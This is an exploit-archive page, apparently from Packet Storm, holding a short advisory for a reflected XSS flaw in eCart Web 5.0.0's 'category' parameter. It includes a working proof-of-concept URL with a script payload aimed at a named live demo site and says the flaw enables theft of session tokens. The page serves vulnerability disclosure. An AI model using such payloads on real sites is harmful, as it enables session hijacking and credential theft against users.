Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
Change Mirror[11] Download[12]
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : ecartmultivendorweb.thewrteam.in │
│ Vendor : By WRTEAM Ekart.Com │
│ Software : eCart Web 5.0.0 - Multi Vendor eCommerce Marketplace │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Greets:
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL
CryptoJob (Twitter) twitter.com/CryptozJob
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2023 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
URL parameter 'category' is vulnerable to XSS
Path: /shop
https://ecartmultivendorweb.thewrteam.in/shop?category=baby-need-s-1su7mh%3cscript%3ealert(1)%3c%2fscript%3eg9eop&sub-category=test-1
[-] Done
Subscribe to an RSS
FeedFile Tags
- ActiveX[17] (932)
- Advisory[18] (79,858)
- Arbitrary[19] (15,732)
- BBS[20] (2,859)
- Bypass[21] (1,624)
- CGI[22] (1,018)
- Code Execution[23] (6,953)
- Conference[24] (674)
- Cracker[25] (840)
- CSRF[26] (3,293)
- DoS[27] (22,643)
- Encryption[28] (2,353)
- Exploit[29] (50,436)
- File Inclusion[30] (4,166)
- File Upload[31] (948)
- Firewall[32] (821)
- Info Disclosure[33] (2,665)
- Intrusion Detection[34] (868)
- Java[35] (2,910)
- JavaScript[36] (823)
- Kernel[37] (6,319)
- Local[38] (14,214)
- Magazine[39] (586)
- Overflow[40] (12,437)
- Perl[41] (1,418)
- PHP[42] (5,097)
- Proof of Concept[43] (2,293)
- Protocol[44] (3,439)
- Python[45] (1,468)
- Remote[46] (30,088)
- Root[47] (3,506)
- Rootkit[48] (501)
- Ruby[49] (595)
- Scanner[50] (1,633)
- Security Tool[51] (7,793)
- Shell[52] (3,110)
- Shellcode[53] (1,206)
- Sniffer[54] (887)
- Spoof[55] (2,172)
- SQL Injection[56] (16,118)
- TCP[57] (2,382)
- Trojan[58] (686)
- UDP[59] (878)
- Virus[60] (662)
- Vulnerability[61] (31,177)
- Web[62] (9,382)
- Whitepaper[63] (3,732)
- x86[64] (946)
- XSS[65] (17,503)
- Other[66]
File Archives
- January 2023[67]
- December 2022[68]
- November 2022[69]
- October 2022[70]
- September 2022[71]
- August 2022[72]
- July 2022[73]
- June 2022[74]
- May 2022[75]
- April 2022[76]
- March 2022[77]
- February 2022[78]
- Older[79]
Systems
- AIX[80] (426)
- Apple[81] (1,935)
- BSD[82] (370)
- CentOS[83] (55)
- Cisco[84] (1,917)
- Debian[85] (6,649)
- Fedora[86] (1,690)
- FreeBSD[87] (1,242)
- Gentoo[88] (4,288)
- HPUX[89] (878)
- iOS[90] (333)
- iPhone[91] (108)
- IRIX[92] (220)
- Juniper[93] (67)
- Linux[94] (44,417)
- Mac OS X[95] (684)
- Mandriva[96] (3,105)
- NetBSD[97] (255)
- OpenBSD[98] (479)
- RedHat[99] (12,506)
- Slackware[100] (941)
- Solaris[101] (1,607)
- SUSE[102] (1,444)
- Ubuntu[103] (8,226)
- UNIX[104] (9,174)
- UnixWare[105] (185)
- Windows[106] (6,512)
- Other[107]
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
